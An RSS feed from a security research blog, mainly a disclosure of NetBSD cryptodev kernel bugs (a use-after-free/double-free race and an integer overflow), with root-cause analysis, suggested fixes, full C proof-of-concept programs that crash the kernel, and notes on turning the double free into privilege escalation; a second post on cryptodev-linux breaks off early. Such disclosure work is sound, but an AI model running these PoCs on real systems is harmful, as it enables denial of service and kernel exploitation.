<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>nasm.re</title><description>pwn / vr / fuzzing</description><link>https://n4sm.github.io/</link><language>en</language><item><title>[Netbsd - cryptodev] One integer overflow and plenty of UAF</title><link>https://n4sm.github.io/posts/uaf_netbsd_crypto/</link><guid isPermaLink="true">https://n4sm.github.io/posts/uaf_netbsd_crypto/</guid><pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;The NetBSD &lt;code&gt;opencrypto&lt;/code&gt; framework provides a standardized interface for kernel-level cryptographic operations, allowing userspace applications to leverage hardware acceleration.
This post breaks down three distinct vulnerabilities discovered in the &lt;code&gt;ioctl&lt;/code&gt; handling of the crypto operations in &lt;code&gt;/dev/crypto&lt;/code&gt; reachable from an unpriviledged user. These vulnerabilities were discovered through fuzzing with Syzkaller. These bugs were assigned: CVE-2026-32848 (Session lifecycle race condition → UAF / double-free) and CVE-2026-32849 (Integer handling flaw → NULL pointer dereference).&lt;/p&gt;
&lt;h3&gt;UAF, Double-Free, and NULL Dereference&lt;/h3&gt;
&lt;p&gt;The vulnerabilities found in &lt;code&gt;cryptof_ioctl&lt;/code&gt; and &lt;code&gt;cryptodev_op&lt;/code&gt; highlight a fundamental architectural issue: the lack of proper synchronization between session management and active crypto operations.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Session Lifetime Race (CWE-416):&lt;/strong&gt; A race condition between &lt;code&gt;CIOCCRYPT&lt;/code&gt; (executing an operation) and &lt;code&gt;CIOCFSESSION&lt;/code&gt; (tearing down a session). Because the global mutex is released prematurely, a session can be freed while it is still being accessed, resulting in a &lt;strong&gt;Use-After-Free&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Concurrent UIO Race:&lt;/strong&gt; (linked to the first bug) By storing mutable request state directly within the shared session structure, the kernel fails to protect against multiple threads using the same session ID. This leads to a heap corruption (uaf or double free depending on the window) as threads overwrite each other&apos;s allocations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Integer overflow (leading to CWE-476):&lt;/strong&gt; A logic error in &lt;code&gt;cryptodev_op&lt;/code&gt; allows a user-controlled unsigned value to overflow a signed integer. This causes the kernel to bypass critical memory allocations while continuing with data copies, resulting in a &lt;strong&gt;NULL Pointer Dereference&lt;/strong&gt; and a system-wide kernel panic.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Race Condition in &lt;code&gt;cryptof_ioctl&lt;/code&gt; / &lt;code&gt;cryptodev_op&lt;/code&gt;: Use-After-Free &amp;amp; Double-Free&lt;/h1&gt;
&lt;h2&gt;Affected Component&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sys/opencrypto/cryptodev.c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cryptof_ioctl()&lt;/code&gt; (&lt;code&gt;CIOCCRYPT&lt;/code&gt;, &lt;code&gt;CIOCFSESSION&lt;/code&gt;), &lt;code&gt;cryptodev_op()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-416: Use-After-Free / CWE-415: Double-Free&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel panic, heap corruption primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;CIOCCRYPT/CIOCFSESSION Session Lifetime Race&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CIOCCRYPT&lt;/code&gt; drops &lt;code&gt;cryptodev_mtx&lt;/code&gt; after &lt;code&gt;csefind&lt;/code&gt; but before &lt;code&gt;cryptodev_op&lt;/code&gt; completes. A concurrent &lt;code&gt;CIOCFSESSION&lt;/code&gt; (or &lt;code&gt;cryptof_close&lt;/code&gt;) on another thread can call &lt;code&gt;csedelete&lt;/code&gt; + &lt;code&gt;csefree&lt;/code&gt; on the same session in this window, causing &lt;code&gt;cryptodev_op&lt;/code&gt; to operate on a freed &lt;code&gt;cse&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cse = csefind(fcr, cop-&amp;gt;ses);
mutex_exit(&amp;amp;cryptodev_mtx);   /* window opens here */
/* concurrent CIOCFSESSION frees cse */
error = cryptodev_op(cse, cop, curlwp);  /* UAF */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Concurrent &lt;code&gt;cryptodev_op&lt;/code&gt; on the Same Session: &lt;code&gt;uio&lt;/code&gt; Race&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;cse-&amp;gt;uio&lt;/code&gt; and &lt;code&gt;cse-&amp;gt;iovec&lt;/code&gt; are stored directly in the &lt;code&gt;csession&lt;/code&gt; struct. When two threads call &lt;code&gt;CIOCCRYPT&lt;/code&gt; with the same session ID simultaneously, both enter &lt;code&gt;cryptodev_op&lt;/code&gt; with the same &lt;code&gt;cse&lt;/code&gt; pointer and race on:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cse-&amp;gt;uio.uio_iov[0].iov_len  = iov_len;
cse-&amp;gt;uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);  /* both threads allocate */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thread B overwrites the pointer allocated by thread A. Both threads then reach the &lt;code&gt;bail:&lt;/code&gt; cleanup and free whichever pointer is currently in &lt;code&gt;cse-&amp;gt;uio.uio_iov[0].iov_base&lt;/code&gt;, producing a double-free on one allocation and a leak on the other.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bail:
    if (cse-&amp;gt;uio.uio_iov[0].iov_base)
        kmem_free(cse-&amp;gt;uio.uio_iov[0].iov_base, iov_len);  /* double-free */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Root Cause&lt;/h2&gt;
&lt;p&gt;Both bugs share the same underlying cause: &lt;code&gt;csession&lt;/code&gt; embeds mutable per-operation state (&lt;code&gt;uio&lt;/code&gt;, &lt;code&gt;iovec&lt;/code&gt;, &lt;code&gt;error&lt;/code&gt;) directly in the session struct, and &lt;code&gt;CIOCCRYPT&lt;/code&gt; provides no per-session serialization after releasing &lt;code&gt;cryptodev_mtx&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;See attached PoC. &lt;code&gt;poc_uaf_cioccrypt_race()&lt;/code&gt; races &lt;code&gt;CIOCCRYPT&lt;/code&gt; against &lt;code&gt;CIOCFSESSION&lt;/code&gt; to trigger Bug 1. &lt;code&gt;poc_uio_race()&lt;/code&gt; hammers the same session from 8 threads to trigger Bug 2.&lt;/p&gt;
&lt;h2&gt;Fix&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Add a per-&lt;code&gt;csession&lt;/code&gt; reference count (or rwlock) incremented by &lt;code&gt;csefind&lt;/code&gt; and decremented after &lt;code&gt;cryptodev_op&lt;/code&gt; returns, so &lt;code&gt;csefree&lt;/code&gt; blocks until all in-flight operations complete.&lt;/li&gt;
&lt;li&gt;Move &lt;code&gt;uio&lt;/code&gt;/&lt;code&gt;iovec&lt;/code&gt; off the &lt;code&gt;csession&lt;/code&gt; struct and onto the stack (or a per-call allocation) inside &lt;code&gt;cryptodev_op&lt;/code&gt; to eliminate the shared mutable state entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/fcntl.h&amp;gt;
#include &amp;lt;crypto/cryptodev.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;err.h&amp;gt;

static int cryptofd;
static uint32_t shared_ses;
static volatile int stop;

static uint32_t
make_session(int fd)
{
    struct session_op sop;
    uint8_t key[16];

    memset(&amp;amp;sop, 0, sizeof(sop));
    memset(key, 0x41, sizeof(key));
    sop.cipher   = CRYPTO_AES_CBC;
    sop.keylen   = sizeof(key);
    sop.key      = key;

    if (ioctl(fd, CIOCGSESSION, &amp;amp;sop) &amp;lt; 0)
        err(1, &quot;CIOCGSESSION&quot;);

    return sop.ses;
}

static void *
thread_crypt(void *arg)
{
    struct crypt_op cop;
    uint8_t src[32], dst[32], iv[16];

    memset(src, 0x41, sizeof(src));
    memset(iv,  0x00, sizeof(iv));

    while (!stop) {
        memset(&amp;amp;cop, 0, sizeof(cop));
        cop.ses = shared_ses;
        cop.op  = COP_ENCRYPT;
        cop.len = sizeof(src);
        cop.src = src;
        cop.dst = dst;
        cop.iv  = iv;
        ioctl(cryptofd, CIOCCRYPT, &amp;amp;cop);
    }
    return NULL;
}

static void *
thread_free(void *arg)
{
    while (!stop) {
        uint32_t ses = shared_ses;
        ioctl(cryptofd, CIOCFSESSION, &amp;amp;ses);
        shared_ses = make_session(cryptofd);
    }
    return NULL;
}

static void
poc_uaf_cioccrypt_race(void)
{
    pthread_t ta, tb;

    printf(&quot;[*] PoC 1: CIOCCRYPT/CIOCFSESSION UAF race\n&quot;);

    cryptofd = open(&quot;/dev/crypto&quot;, O_RDWR);
    if (cryptofd &amp;lt; 0)
        err(1, &quot;open /dev/crypto&quot;);

    shared_ses = make_session(cryptofd);
    stop = 0;

    pthread_create(&amp;amp;ta, NULL, thread_crypt, NULL);
    pthread_create(&amp;amp;tb, NULL, thread_free,  NULL);

    sleep(5);
    stop = 1;

    pthread_join(ta, NULL);
    pthread_join(tb, NULL);

    close(cryptofd);
    printf(&quot;[*] PoC 1 done (check dmesg for KCSAN/panic)\n&quot;);
}

#define NTHREADS 8

static uint32_t poc2_ses;
static int      poc2_fd;

static void *
thread_crypt_same_ses(void *arg)
{
    struct crypt_op cop;
    uint8_t src[32], dst[32], iv[16];
    int i;

    memset(src, 0x42, sizeof(src));
    memset(iv,  0x00, sizeof(iv));

    for (i = 0; i &amp;lt; 10000; i++) {
        memset(&amp;amp;cop, 0, sizeof(cop));
        cop.ses = poc2_ses;
        cop.op  = COP_ENCRYPT;
        cop.len = sizeof(src);
        cop.src = src;
        cop.dst = dst;
        cop.iv  = iv;
        ioctl(poc2_fd, CIOCCRYPT, &amp;amp;cop);
    }
    return NULL;
}

static void
poc_uio_race(void)
{
    pthread_t threads[NTHREADS];
    int i;

    printf(&quot;[*] PoC 2: concurrent CIOCCRYPT same session (cse-&amp;gt;uio race)\n&quot;);

    poc2_fd = open(&quot;/dev/crypto&quot;, O_RDWR);
    if (poc2_fd &amp;lt; 0)
        err(1, &quot;open /dev/crypto&quot;);

    poc2_ses = make_session(poc2_fd);

    for (i = 0; i &amp;lt; NTHREADS; i++)
        pthread_create(&amp;amp;threads[i], NULL, thread_crypt_same_ses, NULL);
    for (i = 0; i &amp;lt; NTHREADS; i++)
        pthread_join(threads[i], NULL);

    close(poc2_fd);
    printf(&quot;[*] PoC 2 done\n&quot;);
}

int
main(void)
{
    poc_uaf_cioccrypt_race();
    poc_uio_race();
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;NULL Pointer Dereference in cryptodev_op&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sys/opencrypto/cryptodev.c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cryptodev_op()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-190: Integer Overflow / CWE-476: NULL Pointer Dereference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel panic (DoS)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Root Cause&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;iov_len&lt;/code&gt; is declared as &lt;code&gt;int&lt;/code&gt; (signed) but assigned from &lt;code&gt;cop-&amp;gt;dst_len&lt;/code&gt; which is &lt;code&gt;u_int&lt;/code&gt; (unsigned). When &lt;code&gt;cop-&amp;gt;dst_len &amp;gt; INT_MAX&lt;/code&gt;, the assignment produces a negative value — undefined behavior per the C standard. On x86-64 with &lt;code&gt;-O2&lt;/code&gt;, the compiler may eliminate the subsequent safety check entirely.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int iov_len = cop-&amp;gt;len;           /* signed */
if ((cse-&amp;gt;tcomp) &amp;amp;&amp;amp; cop-&amp;gt;dst_len) {
    if (iov_len &amp;lt; cop-&amp;gt;dst_len)
        iov_len = cop-&amp;gt;dst_len;   /* UB: u_int -&amp;gt; int, wraps negative */
}
/* size_t &amp;lt;- negative int -&amp;gt; 0xffffffff80000001 */
cse-&amp;gt;uio.uio_iov[0].iov_len = iov_len;
/* FALSE or optimized away under -O2 */
if (iov_len &amp;gt; 0)
    cse-&amp;gt;uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);
/* corrupted: 0xffffffff80000001 */
cse-&amp;gt;uio.uio_resid = cse-&amp;gt;uio.uio_iov[0].iov_len;
/* iov_base = NULL -&amp;gt; fault */
copyin(cop-&amp;gt;src, cse-&amp;gt;uio.uio_iov[0].iov_base, cop-&amp;gt;len);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Trigger Conditions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Compression session (&lt;code&gt;CRYPTO_DEFLATE_COMP&lt;/code&gt; or &lt;code&gt;CRYPTO_GZIP_COMP&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;cop-&amp;gt;dst_len&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt; INT_MAX&lt;/code&gt; (e.g. &lt;code&gt;0x80000001&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;cop-&amp;gt;dst_len&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt; cop-&amp;gt;len&lt;/code&gt; to trigger the &lt;code&gt;iov_len&lt;/code&gt; overwrite path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Proof-of-concept:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/fcntl.h&amp;gt;
#include &amp;lt;crypto/cryptodev.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;err.h&amp;gt;

/*
 * PoC: two bugs demonstrated
 *
 * Bug A: iov_len signed overflow → NULL iov_base → copyin NULL ptr
 *   Requires: tcomp session, dst_len &amp;gt; INT_MAX
 *   Effect: copyin(src, NULL, len) → kernel fault
 *
 * Bug B: large iov_len allocation via dst_len, then early bail
 *   via cop-&amp;gt;iv on compression-only session (crde==NULL)
 *   Effect: allocates large buffer, bails, frees correctly BUT
 *           the copyin into that large buffer happens BEFORE the
 *           iv check — so we get copyin of 16 bytes into a large
 *           buffer then free it — demonstrates the logic inversion
 *           (should validate iv before allocating)
 */

static int
open_crypto(void)
{
    int fd = open(&quot;/dev/crypto&quot;, O_RDWR);
    if (fd &amp;lt; 0) err(1, &quot;open /dev/crypto&quot;);
    return fd;
}

static uint32_t
make_comp_session(int fd, int alg)
{
    struct session_op sop;
    memset(&amp;amp;sop, 0, sizeof(sop));
    sop.comp_alg = alg;
    if (ioctl(fd, CIOCGSESSION, &amp;amp;sop) &amp;lt; 0)
        err(1, &quot;CIOCGSESSION&quot;);
    printf(&quot;[*] comp session id=%u alg=%d\n&quot;, sop.ses, alg);
    return sop.ses;
}

static uint32_t
make_cipher_session(int fd)
{
    struct session_op sop;
    uint8_t key[16];
    memset(&amp;amp;sop, 0, sizeof(sop));
    memset(key, 0x41, sizeof(key));
    sop.cipher = CRYPTO_AES_CBC;
    sop.keylen = sizeof(key);
    sop.key    = key;
    if (ioctl(fd, CIOCGSESSION, &amp;amp;sop) &amp;lt; 0)
        err(1, &quot;CIOCGSESSION cipher&quot;);
    printf(&quot;[*] cipher session id=%u\n&quot;, sop.ses);
    return sop.ses;
}

/*
 * Bug A: NULL iov_base via signed overflow of iov_len
 *
 * Execution path:
 *   cop-&amp;gt;len=16 → iov_len=16
 *   cop-&amp;gt;dst_len=0x80000001 → iov_len=0x80000001 (UB, negative as int)
 *   iov_len &amp;gt; 0 → FALSE → iov_base not allocated → NULL
 *   uio_resid = (size_t)(negative) → 0xffffffff80000001
 *   copyin(cop-&amp;gt;src, NULL, 16) → fault
 */
static void
bug_a_null_iov_base(void)
{
    int fd = open_crypto();
    uint32_t ses = make_comp_session(fd, CRYPTO_DEFLATE_COMP);

    struct crypt_op cop;
    uint8_t src[16], dst[16];
    memset(src, 0x41, sizeof(src));
    memset(&amp;amp;cop, 0, sizeof(cop));

    cop.ses     = ses;
    cop.op      = COP_COMP;
    cop.len     = 16;
    cop.src     = src;
    cop.dst     = dst;
    cop.dst_len = 0x80000001;   /* &amp;gt; INT_MAX → iov_len goes negative */
    cop.iv      = NULL;
    cop.mac     = NULL;

    printf(&quot;[*] Bug A: dst_len=0x%x → iov_len overflow\n&quot;, cop.dst_len);
    printf(&quot;    expected: copyin to NULL → kernel fault/panic\n&quot;);
    if (ioctl(fd, CIOCCRYPT, &amp;amp;cop) &amp;lt; 0)
        warn(&quot;    CIOCCRYPT returned error (may have faulted in kernel)&quot;);
    else
        printf(&quot;    [!] returned OK — check dmesg\n&quot;);

    close(fd);
}

int
main(void)
{
    printf(&quot;=== cryptodev_op vulnerability PoC ===\n\n&quot;);

    printf(&quot;--- Bug A: iov_len signed overflow ---\n&quot;);
    bug_a_null_iov_base();
    printf(&quot;\n&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SVS enabled&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;copyin&lt;/code&gt; faults on NULL &lt;code&gt;iov_base&lt;/code&gt; — caught by &lt;code&gt;onfault&lt;/code&gt; table — clean &lt;code&gt;EFAULT&lt;/code&gt; returned to userspace, no panic.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SVS disabled (KASAN config)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;copyin&lt;/code&gt; may succeed into a mapped page at &lt;code&gt;0x0&lt;/code&gt;. UIO machinery consumes the corrupted &lt;code&gt;uio_resid = 0xffffffff80000001&lt;/code&gt; in pointer arithmetic, producing the non-canonical address &lt;code&gt;0xfffff9000000000&lt;/code&gt;. This triggers a #GP fault which is &lt;em&gt;not&lt;/em&gt; handled by the &lt;code&gt;copyin&lt;/code&gt; &lt;code&gt;onfault&lt;/code&gt;/&lt;code&gt;nofault&lt;/code&gt; recovery table (which only covers page faults), resulting in an unrecoverable kernel panic.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Environment&lt;/h1&gt;
&lt;p&gt;Depending on your hardware, it might be needed to set &lt;code&gt;kern.cryptodevallowsoft=0&lt;/code&gt; (&lt;code&gt;sysctl -w kern.cryptodevallowsoft=0&lt;/code&gt;), by default cryptodev does not allow software requests (and we do not use software implementations in these bugs) but we still need to create sessions and if netbsd is running on qemu, the hardware accelerators will not be available which won&apos;t allow us to create sessions.&lt;/p&gt;
&lt;p&gt;So basically: this should not be an issue on system running on real hardware but we need to modify it if we run netbsd in qemu.&lt;/p&gt;
&lt;p&gt;Here is my environment but the bugs shown above should be reproducible on any Netbsd kernel until a193196bb9d88f0ce1ecaffdaf07fb69ff1de448.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;syssec@Syssec:~/netbsd/src$ git diff sys/arch/amd64/conf/GENERIC
diff --git a/sys/arch/amd64/conf/GENERIC b/sys/arch/amd64/conf/GENERIC
index 0fedb047c3e0..a9d86a097a76 100644
--- a/sys/arch/amd64/conf/GENERIC
+++ b/sys/arch/amd64/conf/GENERIC
@@ -166,8 +166,8 @@ options     KDTRACE_HOOKS   # kernel DTrace hooks
 #options       KMSAN_PANIC     # optional
 
 # Kernel Code Coverage Driver.
-#makeoptions   KCOV=1
-#options       KCOV
+makeoptions    KCOV=1
+options        KCOV
 
 # Fault Injection Driver.
 #options       FAULT
@@ -959,7 +959,7 @@ urlphy* at mii? phy ?                       # Realtek RTL8150L internal PHYs
 # USB Controller and Devices
 
 # Virtual USB controller
-#pseudo-device vhci
+pseudo-device  vhci
 
 # PCI USB controllers
 xhci*  at pci? dev ? function ?        # eXtensible Host Controller
@@ -979,7 +979,7 @@ uhci*       at cardbus? function ?          # Universal Host Controller (Intel)
 slhci* at pcmcia? function ?           # ScanLogic SL811HS
 
 # USB bus support
-#usb*  at vhci?
+usb*   at vhci?
 usb*   at xhci?
 usb*   at ehci?
 usb*   at ohci?
syssec@Syssec:~/netbsd/src$ git status | head
On branch trunk
Your branch is up to date with &apos;origin/trunk&apos;.
...
syssec@Syssec:~/netbsd/src$ git log | head
commit a193196bb9d88f0ce1ecaffdaf07fb69ff1de448
Author: christos &amp;lt;christos@NetBSD.org&amp;gt;
Date:   Sun Mar 8 21:07:26 2026 +0000

    new tzcode
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitability&lt;/h1&gt;
&lt;p&gt;Now that we&apos;ve been through the root cause analysis of the vulnerabilities we migh wonder how epxloitable this is, and to be honest I am not sure yet of the answer. The most interesting primitive seems to be the race on &lt;code&gt;uio&lt;/code&gt;, if thread A provides a very large &lt;code&gt;iov_len&lt;/code&gt; and that thread B races on the &lt;code&gt;uio&lt;/code&gt; buffer with a small &lt;code&gt;iov_len&lt;/code&gt; value it provides a large heap overflow primitive bug:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cse-&amp;gt;uio.uio_iov[0].iov_len = iov_len;
if (iov_len &amp;gt; 0)
    cse-&amp;gt;uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP); 
// thread A already allocated a buf of size N and thread B allocates a buf of size N-0x1000
cse-&amp;gt;uio.uio_resid = cse-&amp;gt;uio.uio_iov[0].iov_len;
DPRINTF(&quot;lid[%u]: uio.iov_base %p malloced %d bytes\n&quot;,
    CRYPTO_SESID2LID(cse-&amp;gt;sid),
    cse-&amp;gt;uio.uio_iov[0].iov_base, iov_len);

crp = crypto_getreq((cse-&amp;gt;tcomp != NULL) + (cse-&amp;gt;txform != NULL) + (cse-&amp;gt;thash != NULL));
if (crp == NULL) {
    error = ENOMEM;
    goto bail;
}
DPRINTF(&quot;lid[%u]: crp %p\n&quot;, CRYPTO_SESID2LID(cse-&amp;gt;sid), crp);

if (cse-&amp;gt;tcomp) {
    crdc = crp-&amp;gt;crp_desc;
}

if (cse-&amp;gt;thash) {
    crda = crdc ? crdc-&amp;gt;crd_next : crp-&amp;gt;crp_desc;
    if (cse-&amp;gt;txform &amp;amp;&amp;amp; crda)
        crde = crda-&amp;gt;crd_next;
} else {
    if (cse-&amp;gt;txform) {
        crde = crdc ? crdc-&amp;gt;crd_next : crp-&amp;gt;crp_desc;
    } else if (!cse-&amp;gt;tcomp) {
        error = EINVAL;
        goto bail;
    }
}

DPRINTF(&quot;ocf[%u]: iov_len %zu, cop-&amp;gt;len %u\n&quot;,
        CRYPTO_SESID2LID(cse-&amp;gt;sid),
        cse-&amp;gt;uio.uio_iov[0].iov_len, 
        cop-&amp;gt;len);

// If thread B manages to overwrite cse-&amp;gt;uio.uio_iov[0].iov_base before reaching this copyin, the heap overflow primitive is possible
// leading to a large heap overflow from thread A which is using the large cop-&amp;gt;len on a small overwritten iov_base
if ((error = copyin(cop-&amp;gt;src, cse-&amp;gt;uio.uio_iov[0].iov_base, cop-&amp;gt;len)))
{
    printf(&quot;copyin failed %s %d \n&quot;, (char *)cop-&amp;gt;src, error);
    goto bail;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the first exploitation idea I had but the race is a little bit tricky. A larger window would be to just reach the end of the &lt;code&gt;cryptodev_op&lt;/code&gt; function to trigger the double free primitive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if (cse-&amp;gt;uio.uio_iov[0].iov_base) {
		kmem_free(cse-&amp;gt;uio.uio_iov[0].iov_base,iov_len);
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will reliably lead to a double free with a very flexible size range (from 1 to 256*1024-4 bytes), from there we just need to find interesting objects to spray and to corrupt to achieve a clean privilege escalation. But I will explore this in another blogpost!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cet objet d’expérience [Erfahrungsmäßige] est la décision et l’acte [der Entschluß und die That] qui s’étendent au-delà du monde; car tout ce qui est susceptible d’expérience provient seulement de la décision et de l’acte. Ils sont la fondation dernière de toutes choses [die lezte Begrün-dung von allem].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(Schelling 1827/28, 75)&lt;/p&gt;
</content:encoded></item><item><title>[Cryptodev-linux] Page-level UAF exploitation</title><link>https://n4sm.github.io/posts/cryptodev-linux-vuln/</link><guid isPermaLink="true">https://n4sm.github.io/posts/cryptodev-linux-vuln/</guid><description>LPE for cryptodev-linux oot module (CVE-2026-28529)</description><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In november 2025 I started a fuzzing campaign against &lt;a href=&quot;https://github.com/cryptodev-linux/cryptodev-linux&quot;&gt;cryptodev-linux&lt;/a&gt; as part of a school project. I found +10 bugs (UAF, NULL pointer dereferences and integer overflows) and among all of these bugs one was surprisingly suitable for a privilege escalation.&lt;/p&gt;
&lt;p&gt;For a little bit of background, according to their github page:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a /dev/crypto device driver, equivalent to those in OpenBSD or FreeBSD. The main idea is to access existing ciphers in kernel space from userspace, thus enabling the re-use of a hardware implementation of a cipher.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cryptodev-linux is not widely used today, but it was popular when the native kernel crypto (socket) API was slower. Nowadays it is supported and included in various frameworks and projects such as:  &lt;a href=&quot;https://doc.dpdk.org/guides-25.03/prog_guide/cryptodev_lib.html&quot;&gt;dpdk&lt;/a&gt;, &lt;a href=&quot;https://layers.openembedded.org/layerindex/recipe/24849/&quot;&gt;OpenEmbedded&lt;/a&gt; and &lt;a href=&quot;https://wiki.kobol.io/helios4/cesa/#install-cryptodev&quot;&gt;kobol NAS&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Basic design&lt;/h1&gt;
&lt;p&gt;The cryptodev API is quite straightforward. You first create a session using the file descriptor of the &lt;code&gt;/dev/crypto&lt;/code&gt; device, specifying the encryption type and the key size:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;session.cipher = CRYPTO_AES_CBC;
session.keylen = KEY_SIZE;
session.key = (void*)key;

if (ioctl(cfd, CIOCGSESSION, &amp;amp;session)) {
    perror(&quot;ioctl(CIOCGSESSION)&quot;);
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, you can start encrypting data like this:&lt;/p&gt;
